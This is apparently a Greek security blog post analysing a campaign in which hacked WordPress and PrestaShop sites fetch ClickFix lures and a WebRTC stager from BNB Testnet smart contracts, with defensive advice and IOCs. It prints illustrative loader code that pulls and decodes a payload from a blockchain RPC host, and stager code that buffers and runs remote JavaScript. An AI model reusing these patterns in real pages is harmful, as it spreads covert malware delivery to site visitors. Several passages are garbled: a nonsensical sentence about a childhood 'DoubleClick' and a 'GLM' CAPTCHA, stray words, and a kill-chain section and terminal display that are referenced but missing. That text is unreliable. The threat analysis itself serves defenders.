Πάνω από 5.400 μολυσμένες ιστοσελίδες (κυρίως WordPress και PrestaShop) σερβίρουν στους επισκέπτες τους κακόβουλο κώδικα που δεν κατοικεί στους ίδιους τους servers — αποθηκεύεται σε smart contracts του BNB Smart Chain (BSC) Testnet, μια δωρεάν, ανώνυμη και αδύνατη να κλείσει υποδομή. Το θύμα βλέπει ένα fake CAPTCHA, «επαληθεύει» την ανθρωπιά του επικολλώντας μόνο του μια PowerShell εντολή στο Windows Run, και το payload εκτελείται. Στο νεότερο στάδιο, η καμπάνια αντικατέστησε το ClickFix με WebRTC stager που ανοίγει κρυπτογραφημένο κανάλι C2 χωρίς καν handshake με server. Ονόμασα την καμπάνια ChainFix για τις ανάγκες της ανάλυσης.
01/Το συμβάν σε ένα λεπτό
Ερευνητές της Netskope εντόπισαν τους τελευταίους μήνες πάνω από 5.400 παραβιασμένες ιστοσελίδες μικρών επιχειρήσεων, στις περισσότερες περιπτώσεις χτισμένες σε WordPress και PrestaShop. Κάθε ένα από αυτά τα sites είχε «παρασιτωθεί» με ένα script που, μόλις φορτώσει η σελίδα στον browser του επισκέπτη, καλεί ένα smart contract στο BSC Testnet — το developer sandbox του BNB Smart Chain, που λειτουργεί όπως το production mainnet αλλά είναι δωρεάν για όποιον θέλει να αποθηκεύσει δεδομένα.
Η τεχνική αποθήκευσης κακόβουλου payload ή ρυθμίσεων C2 σε blockchain smart contracts δεν είναι καινούρια ιδέα — έχει όνομα στην κοινότητα: EtherHiding. Το φρέσκο εδώ είναι η κλιμάκωση σε βιομηχανική κλίμακα: πάνω από 300 μολυσμένα sites καλούν καθημερινά τα RPC endpoints του BSC Testnet, με μέσο όρο ~400 ημερησίως τον Αύγουστο και ιστορικό peak 536 σε μία μέρα.
Η αρχική μέθοδος παραβίασης των sites παραμένει άγνωστη — κάτι που από μόνο του λέει πολλά για το ρεπερτόριο των attackers (κλεμμένα admin credentials, ξεπερασμένα plugins, ή όλα μαζί).
- ΑΝΟΙΞΗ 2026Ξεκινά η καμπάνια. Τα πρώτα μολυσμένα sites αρχίζουν να καλούν BSC Testnet RPC endpoints. Ο αριθμός τους μεγαλώνει σταθερά μήνα με μήνα.
- ΑΥΓΟΥΣΤΟΣ 2026Βιομηχανικός ρυθμός. ~400 μολυσμένα sites/day καλούν το testnet, με ιστορικό peak 536. Το payload στο smart contract αλλάζει: ClickFix παραδίδει τη σκυτάλη σε WebRTC stager.
- 5 ΣΕΠΤΕΜΒΡΙΟΥ 2026Δημόσια αποκάλυψη. Το BleepingComputer δημοσιεύει τα ευρήματα της Netskope. Πολλά από τα sites παραμένουν μολυσμένα εκείνη τη στιγμή.
- ΣΗΜΕΡΑΤο payload ζει στο blockchain. Ακόμα κι αν καθαριστούν όλα τα 5.400 sites, το payload παραμένει προσβάσιμο στο chain — έτοιμο για την επόμενη batch παραβιασμένων domains.
Τα περισσότερα θύματα είναι μικρές επιχειρήσεις — e-shops, τοπικές υπηρεσίες, βιωματικά sites. Δεν χρειάζεται να είναι «στόχοι»: αρκεί να είναι παλιό WordPress με ξεπερασμένο plugin. Αν διαχειρίζεσαι ή φιλοξενείς τέτοιο site, αυτό το άρθρο σε αφορά προσωπικά.
02/ClickFix: η κοινωνική μηχανική που κάνει το θύμα sysadmin
Το ClickFix είναι το πιο αποδοτικό social engineering pattern της τελευταίας διετίας, και η λογική του είναι ντροπιαστικά απλή: αντί το malware να εκμεταλλευτεί ευπάθεια browser ή OS, ο ίδιος ο χρήστης το εγκαθιστά — πιστεύοντας ότι «φτιάχνει» κάτι.
Η κλασική ροή, όπως παρατηρήθηκε και στο ChainFix:
- Ο επισκέπτης βλέπει μια σελίδα με fake CAPTCHA («Επαληθεύστε ότι είστε άνθρωπος») ή ένα πειστικό σφάλμα («Δεν μπορέσαμε να προβάλλουμε το βίντεο — κάντε αυτή τη διόρθωση»).
- Η σελίδα τον καθοδηγεί να πατήσει
Win+R(Windows Run) ή Ctrl+Shift+Esc και να επικολλήσει μια εντολή που του δίνει έτοιμη — συνήθωςpowershellμε obfuscated payload. - Ο χρήστης πατά Enter. Το payload κατεβαίνει και εκτελείται με νόμιμα Windows binaries (PowerShell, mshta, rundll32) — δεν εκμεταλλεύεται κανένα CVE.
Το ClickFix αντιστρέφει όλη τη λογική της άμυνας: τα EDR βλέπουν νόμιμη υπογραφή (PowerShell), το «θύμα» εκτελεί την εντολή συνειδητά (άρα δεν τρέχει αμυντικά reflexes), και τοDoubleClick που έκανε ο admin όταν ήταν 12 χρονών στο «ελέγξτε ότι δεν είστε ρομπότ» του GLM της ζώνης CAPTCHA το έμαθε να εμπιστεύεται το pattern. Ο ανθρώπινος παράγοντας έγινε το execution engine.
Η Microsoft έχει προειδοποιήσει επανειλημμένα για παραλλαγές ClickFix (TerminalFix, FileFix) που μεταφέρουν reverse tunnels και infostealers. Το ChainFix όμως το πακετάρει διαφορετικά: το lure δεν κατοικεί στο compromised site — κατεβαίνει live από το blockchain.
03/EtherHiding: το blockchain ως C2, ως CDN, ως ασφαλιστική δικλίδα τρέλας
Στο επίκεντρο της καμπάνιας βρίσκεται μια απλή παραποίηση της φιλοσοφίας του blockchain. Ένα smart contract στο BNB Smart Chain μπορεί να αποθηκεύει δεδομένα (state) που διαβάζει οποιοσδήποτε μέσω ενός RPC endpoint — μιας δημόσιας πύλης ερωτημάτων προς το δίκτυο. Οι developers το χρησιμοποιούν για sandbox δοκιμές στο BSC Testnet, το δωρεάν δίδυμο του production mainnet.
Οι attackers το χρησιμοποιούν ως κόστος-μηδέν, takedown-μηδέν hosting:
- Δεν υπάρχει hosting provider για να στείλεις ab το δεδομένο C2 domain. Τα δεδομένα είναι κατανεμημένα σε χιλιάδες nodes.
- Δωρεάν: το Testnet δεν απαιτεί πραγματικά κεφάλαια (tokens δοκιμών). Ο attacker πληρώνει μηδέν για χρόνια υποδομής.
- Hot-swappable payload: ο attacker μπορεί ανά πάσα στιγμή να ενημερώσει το περιεχόμενο του contract — να αλλάξει payload, να «σβήσει» ίχνη ή να απενεργοποιήσει προσωρινά την καμπάνια όταν βλέπει researchers.
- Ανωνυμία: δεν χρειάζεται πραγματική ταυτότητα, πάροχος, ούτε πιστωτική κάρτα.
Κλασικό C2/CDN
- Κοστίζει (domains, VPS, bulletproof hosting)
- Takedown σε ώρες/μέρες μέσω registrar/host
- Domain reputation systems & blocklists
- Forensic ίχνη: πληρωμές, KYC, logs
- Το payload χάνεται αν κλείσει ο server
Blockchain C2 (ChainFix)
- Κόστος υποδομής: 0 € (testnet tokens)
- Κανένα takedown — κατανεμημένο state
- Τα RPC endpoints είναι «νόμιμη» δομή developer infra
- Ανώνυμο wallet, χωρίς KYC στο testnet
- Payload ζει όσο ζει το chain — για πάντα
Το EtherHiding δεν είναι θεωρητικό: χρησιμοποιήθηκε ξανά για διανομή infostealers (Lumma) ήδη από το 2023 και πρόσφατα από το DeadLock ransomware ως ανθεκτική στη takedown υποδομή. Η διαφορά του ChainFix είναι η κλίμακα: χιλιάδες μολυσμένα sites που καλούν το chain αυτόματα, σε καθημερινή βάση, για μήνες.
// Injected script μέσα σε compromisEd WordPress/PrestaShop σελίδα
const RPC = "https://data-seed-pre-bsc-1.bnbchain[.]org"; // BSC Testnet RPC
const TO = "0xdead…beef"; // attacker smart contract
async function pullPayload() {
// eth_call: διαβάζει το state του contract — δηλαδή το payload
const r = await fetch(RPC, {
method: "POST",
body: JSON.stringify({ method: "eth_call", params: [{ to: TO }, "latest"] })
});
const payload = atob(hexToAscii((await r.json()).result));
renderClickFixLure(payload); // fake CAPTCHA → Win+R → PowerShell
}
Σημείωσε κάτι κρίσιμο: το script δεν κρύβει το malware στον ίδιο τον server του site. Αν καθαρίσεις σήμερα το WordPress, ο defender βλέπει καθαρό filesystem. Αλλά το payload συνεχίζει να « αιωρείται» στο chain — και ο loader μπορεί να ξαναμπει με το επόμενο breach, ή να συνεχίσει να «ζει» από οποιοδήποτε άλλο μολυσμένο domain.
04/Η kill chain του ChainFix
Η παραλλαγή που παρατηρήθηκε αργότερα μέσα στην καμπάνια αλλάζει το βήμα 4-5: αντί για ClickFix lure, το smart contract σερβίρει έναν WebRTC stager που εκτελείται αθόρυβα στον browser — χωρίς καμία αλληλεπίδραση του θύματος. Γι' αυτό μιλάμε.
05/Η εξέλιξη: από ClickFix σε WebRTC stager που χειρογραφεί το handshake του
Το πιο ενδιαφέρον τεχνικά κομμάτι της καμπάνιας είναι το δεύτερο στάδιο. Οι Netskope researchers παρατήρησαν ότι ο attacker αντικατέστησε το payload μέσα στο smart contract — ακριβώς το hot-swap που περιγράφαμε — με ένα script που εκμεταλλεύεται το WebRTC, το πρωτόκολλο real-time επικοινωνίας των browsers (βίντεοκλήσεις, screensharing, P2P).
Το κόλπο: self-answered handshake
Το WebRTC στηρίζεται σε μια διαπραγμάτευση (handshake) μεταξύ δύο peers: ο ένας φτιάχνει ένα offer (session description), ο άλλος απαντά με ένα answer, και έτσι ανοίγει ένα κρυπτογραφημένο κανάλι δεδομένων. Στη θεωρία, το offer πρέπει να ταξιδέψει στον συνομιλητή (signaling) και το answer να επιστρέψει — δηλαδή, κάποιος server somewhere.
Ο attacker δεν χρειάστηκε server. Το script:
- Δημιουργεί
RTCPeerConnection+dataChannel(όπως μια κανονική βιντεοκλήση). - Γεννάει το session description offer.
- «Χειρογραφεί» μόνο του το answer — το κατασκευάζει τοπικά, χωρίς να το στείλει πουθενά — και το τροφοδοτεί πίσω στη σύνδεση.
- Αποτέλεσμα: δεν έγινε ποτέ πραγματικό handshake, αλλά ένα data channel προς τον attacker άνοιξε κανονικά.
// No signaling server. No rendezvous. Self-contained channel.
const pc = new RTCPeerConnection();
const dc = pc.createDataChannel("c2");
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
// Ο attacker ΓΡΑΦΕΙ μόνος του το answer — δεν το στέλνει σε κανέναν
const fakeAnswer = handCraftedAnswer(offer.sdp); // ← hardcoded στο script
await pc.setRemoteDescription(fakeAnswer);
// Το κανάλι «ανοίγει» και δέχεται JS από το hardcoded C2
dc.onmessage = e => buffer.push(e.data);
dc.onclose = () => executeBufferedJS(); // ή timeout 10"
Ο stager δέχεται JavaScript από ένα hardcoded C2 address, το bufferάρει, και το εκτελεί όταν κλείσει το κανάλι ή μετά από 10 δευτερόλεπτα. Ο κώδικας συναρμολογείται στη μνήμη του browser και εκτελείται δυναμικά — χωρίς να αποθηκεύεται στο δίσκο — προστίθεται στο <head> του DOM. Για τα antivirus που σαρώνουν αρχεία: δεν υπάρχει αρχείο.
Η WebRTC κίνηση ταξιδεύει με UDP, όχι HTTP. Κλασικά web proxies, DNS filters και HTTPS inspection δεν τη βλέπουν. Το C2 μοιάζει με… βιντεοκλήση. Η Netskope συνιστά ρητά παρακολούθηση μη-web UDP κίνησης συσχετισμένη με WebRTC.
Η αναπαράσταση του terminal είναι εκπαιδευτική απεικόνιση της λογικής της αλυσίδας όπως περιγράφεται από τις δημοσιευμένες αναλύσεις — δεν περιέχει λειτουργικό κακόβουλο κώδικα.
06/Γιατί το blockchain αλλάζει τα δεδομένα (και γιατί δεν είναι «.crypto scare story»)
Το ChainFix είναι το πιο καθαρό παράδειγμα μέχρι σήμερα μιας τάσης που έχουμε ήδη αγγίξει στο blog με το ChainDrop (Ethereum C2) και το DeadLock (blockchain-resilient ransomware): η αποκεντρωμένη υποδομή κλεβει το μεγαλύτερο ατού των defenders — το κουμπί «off».
- Το model attribution γίνεται πιο δύσκολο. Χωρίς hosting logs, χωρίς registrar WHOIS, χωρίς payment trails — μόνο ένα anonymized wallet. Το ερώτημα «ποιος;» γυρνάει σε zero leads.
- Το blocking γίνεται πρόβλημα prefix. Η μοναδική πρακτική άμυνα στο επίπεδο υποδομής είναι να μπλοκάρεις ολόκληρο το pool των public BSC testnet RPC endpoints. Πρόβλημα: τα χρησιμοποιούν και νόμιμοι developers. Block-άροντας το testnet, χτυπάς και δικούς σου dev workflows.
- Το payload αναβαθμίζεται όσο εσύ μπαλώνεις. Κλασικό malware campaign: ένα IOC, ένα patch, τέλος. Εδώ: ο attacker κάνει push το νεότερο release στο contract και όλα τα 5.400 sites ξαναγίνονται... «νέα καμπάνια» χωρίς να ξαναχτυπήσει κανείς.
- Το κόστος επιθέσεων με infra τείνει στο μηδέν. Όταν η υποδομή είναι δωρεάν και άφθαρτη, η οικονομική ισορροπία λύσης/καμπάνιας γέρνει δραματικά προς τον attacker. Περιμένουμε copycats σε WEEKS, όχι μήνες.
Η irony; Η ίδια αποκεντρωμένη αρχιτεκτονική που υπόσχεται censorship resistance για νόμιμες εφαρμογές, προσφέρει takedown resistance σε όποιον γράψει malware μέσα σε smart contract. Το ζήτημα δεν είναι πλέον «αν», αλλά «πόσα such campaigns θα δούμε μέχρι το τέλος της χρονιάς».
07/Άμυνα: τι κάνεις από σήμερα
Αν διαχειρίζεσαι site (WordPress / PrestaShop / ο,τιδήποτε CMS)
- Σκανάρεις ΑΜΕΣΑ για ξένα
<script>tags στα templates, τα theme files και τη βάση δεδομένων (wp_options, widget/HTML blocks). Ψάξε για αναφορές σεbnbchain,eth_call,RTCPeerConnection. - Αναβαθμίζεις CMS, plugins και themes — και κόβεις τα άχρηστα/παρωχημένα plugins. Το «όποιο plugin τραβάει και η μπυρα» είναι ο νούμερο ένας τρόπος εισόδου.
- Ροτάρεις όλα τα credentials: admin users, FTP/SFTP, DB, API keys, cache keys. Ένα breach με παλιό password είναι μεμφμένο breach.
- Βάζεις integrity monitoring (file change detection) και WAF μπροστά (Cloudflare ή αντίστοιχο) με rules για out-of-band fetches προς RPC endpoints.
- 2FA στον admin panel — χωρίς εξαιρέσεις, χωρίς «θα το βάλω αύριο».
Αν είσαι defender / SOC / MSP
- Blockάρεις το pool των BSC testnet RPC endpoints στο DNS/perimeter level (data-seed-pre-bsc-*.bnbchain[.]org κ.λπ.) — η Netskope δημοσίευσε την πλήρη λίστα. Ζύγισε το tradeoff με τα dev workflows του οργανισμού σου πριν το κάνεις blanket.
- Παρακολουθείς μη-web UDP κίνηση που συσχετίζεται με WebRTC (STUN/TURN, DTLS data channels) από browsers χρηστών — αυτό είναι το νέο C2 blind spot.
- Alert σε PowerShell spawn από browser-adjacent processes (mshta, rundll32 από browser profile paths) — το ClickFix υπογράφεται πάντα έτσι.
- Proxy/SSL inspection rule: alert σε φορτώσεις σελίδων που κάνουν fetch προς blockchain RPC domains — ισχυρό μετα-σήμα compromise, ανεξαρτήτως payload.
- User training με ClickFix scenario: δείξε στους χρήστες πραγματικό fake CAPTCHA. Το «μην επικολλάς εντολές που σου δίνει site» πρέπει να γίνει reflex, όχι policy που διαβάστηκε μία φορά.
- PowerShell Constrained Language Mode + script block logging σε endpoints: το ClickFix χάνει το 80% της ισχύος του.
1) Block BSC testnet RPC pool. 2) Script Block Logging + alert σε PowerShell από browser context. 3) Εκπαίδευση κατά ClickFix με real demo. Αυτά καλύπτουν delivery, execution και human layer ταυτόχρονα.
08/Indicators of Compromise
| Τύπος | Δείκτης | Σημείωση |
|---|---|---|
| Network | data-seed-pre-bsc-*.bnbchain[.]org | Public BSC Testnet RPC endpoints — το pool που πρέπει να μπλοκάρεις/monitorάρεις |
| Network | eth_call requests προς testnet contract addresses | Ανωμαλία: websites που καλούν blockchain RPC — σχεδόν ποτέ νόμιμο pattern για e-shop |
| Network | WebRTC data channels (UDP/DTLS) από browser sessions | Συσχέτιση με hardcoded C2 του stager — μη-web UDP κίνηση |
| Web | Ξένα <script> tags σε WP/PrestaShop templates | Loader script με αναφορές σε RPC/eth_call/RTCPeerConnection |
| Behavior | Fake CAPTCHA → Win+R → PowerShell | ClickFix pattern — εκπαίδευσε users να το αναγνωρίζουν |
| Behavior | In-memory JS execution στο <head> του DOM | Buffered C2 code, 10s timeout ή on-close execution — δεν γράφει δίσκο |
Τα network IoCs παραπέμπουν σε δημόσια, καταγεγραμμένα RPC endpoints του BSC Testnet — κατάλληλα για blocking/monitoring. Καμία διεύθυνση εδώ δεν αποτελεί εντολή προς ενεργό C2.
Πηγές & Αναφορές
- Over 5,400 hacked sites serve ClickFix payloads stored on the blockchain BleepingComputer — Bill Toulas · 5 Σεπτεμβρίου 2026
- Netskope Threat Labs — ανάλυση της καμπάνιας EtherHiding σε BSC Testnet (WebRTC stager, telemetry 400+/ημέρα, peak 536) Netskope Blog · Σεπτέμβριος 2026
- ⚡ Weekly Recap: Chrome 0-Day, Router Hijacks, Coder Supply Chain Attack and More The Hacker News · 7 Σεπτεμβρίου 2026 — η καμπάνια συγκαταλέγεται στα κορυφαία story της εβδομάδας
Σημείωση: το όνομα «ChainFix» είναι δικό μας shorthand για την καμπάνια, για τις ανάγκες της συζήτησης — δεν αποτελεί επίσημη ονομασία των ερευνητών. Οι αριθμοί (5.400+ sites, 300+/ημέρα, peak 536) προέρχονται από τη δημοσιευμένη ανάλυση της Netskope όπως καλύφθηκε από το BleepingComputer.